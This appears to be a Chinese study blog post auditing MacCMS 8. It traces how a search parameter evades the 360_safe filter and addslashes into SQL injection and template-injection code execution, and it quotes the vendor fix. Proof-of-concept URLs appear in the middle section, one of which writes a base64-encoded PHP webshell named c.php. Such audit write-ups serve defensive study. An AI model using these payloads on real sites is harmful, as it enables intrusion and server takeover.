1.环境搭建：

最新版本好像修复了这个漏洞

后来看大佬们分析是加了360safe、把他注释掉就可以复现了

审计过程：

首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be(“all”, “wd”)获取请求中wd参数的值，并使用chkSql($wd)方法对$wd进行安全处理。

跟入be方法在maccms8_mfb\inc\common\function.php文件中的第266-294行中可看到该方法是对GET，POST，REQUEST接收到的参数进行addslashes的转义处理，根据上一步可以知道be(“all”, “wd”)是，使用REQUEST接收wd参数的值并使用addslashes函数进行转义处理。

回到maccms8_mfb\inc\module\vod.php第96行再跟入chkSql方法，在maccms8_mfb\inc\common\360_safe3.php文件中的第27-43行中可以看到该方法是将接收到的变量进行循环urldecode直到解出原文为止，解出后再丢进StopAttack进行处理，处理完成后返回htmlEncode($s)的值。

跟入StopAttack方法在maccms8_mfb\inc\common\360_safe3.php文件中的第12-26行中可以看到该方法是使用接收到的正则$ArrFiltReq进行安全处理。

跟入$getfilter在maccms8_mfb\inc\common\360_safe3.php文件中的第57-61行可以看到该方法是检测GET，POST，COOKIE中的关键字的拦截规则，且该检测规则存在被绕过的问题。

回到maccms8_mfb\inc\common\360_safe3.php的第42行再跟入htmlEncode方法，在maccms8_mfb\inc\common\function.php文件中的572-586行可以看到该方法是对&，’，空格，”，TAB，回车，换行，大小于号进行实体化的转换，此处没有对其他的空白字符和反斜杠进行处理，可以被绕过。

回到maccms8_mfb\inc\module\vod.php第98行再跟入$tpl->P["wd"] = $wd;，在maccms8_mfb\inc\common\template.php文件的第2372行看到$tpl被创建的位置，且class AppTpl也是在当前文件被创建的，跟踪P["wd"]数据发现传递给了$lp['wd'],然后跟踪$lp['wd'],在如下两处进行了SQL的拼接处理，所以存在SQL注入，且是单引号字符型注入。

第一处：需要请求m参数为m=vod-search的时候触发。

第二处：需要请求m参数为m=art-search的时候触发。

命令执行漏洞复现

在上述的分析过程中可以知道htmlEncode仅对&，’，空格，”，TAB，回车，换行，大小于号进行实体化的转换，可以使用%0b绕过，但是根据0×01中的第7步可以知道是字符型注入，需要闭合单引号，htmlEncode又把单引号进行的实体化，所以可以转换思路，如下两个SQL语句拼接时候$lp['wd']在SQL语句中可以控制两个位置，因此可以传入反斜杠进行单引号的转义和闭合，又由于0×01中第2步得知REQUEST请求使用了addslashes函数进行转义处理，0×01中的第3步中使用urldecode进行解码，所以可以使用双url编码绕过addslashes函数。

poc：

http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

poc：

http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search post： wd={if-A:print(md5(23333))}{endif-A}

poc:

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

进行攻击，该payload是直接生成一个c.php一句话木马文件，连接密码为c。

那么有注释的情况怎样绕过呢？（306_safe3）

会被检测到

addslash绕过

在做了全局addslash的防御策略的cms中编解码是绕过addslash的一种常见的途径。

这个案例还是很经典的。跟踪be函数可以看到，通过be函数获取输入。只是对GET和POST做了addslash.

function be($mode,$key,$sp=',')
{
    ini_set("magic_quotes_runtime", 0);
    $magicq= get_magic_quotes_gpc();
    switch($mode)
    {
        case 'post':
            $res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
            break;
        case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
            break;
        case 'arr':
            $arr =isset($_POST[$key]) ? $_POST[$key] : '';
            if($arr==""){
                $value="0";
            }
            else{
                for($i=0;$i<count($arr);$i++){
                    $res=implode($sp,$arr);
                } 
            }
            break;
        default:
            $res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
            break;
    }
    return $res;
}

所以对从cookie获取输入，以及使用be(‘arr’)方式获取输入都是没有过滤的点。

修复方案采用的是对url解码之后做了一次转义，当时这不是一个最完美的安全编码方式，虽然他解决了这个url解码导致的绕过。

foreach($tpl->P as $k=>$v){
    if(!is_numeric($v)){
        $tpl->P[$k] = mysql_real_escape_string($v);
    }
}

这几篇文章都看的比较吃力，应该好好学学代码审计了

参考：http://www.freebuf.com/column/161528.html

参考：https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=23026

参考：addslash的绕过代码审计的博客

苹果CMS漏洞

1.环境搭建：

审计过程：

命令执行漏洞复现

addslash绕过

猜你喜欢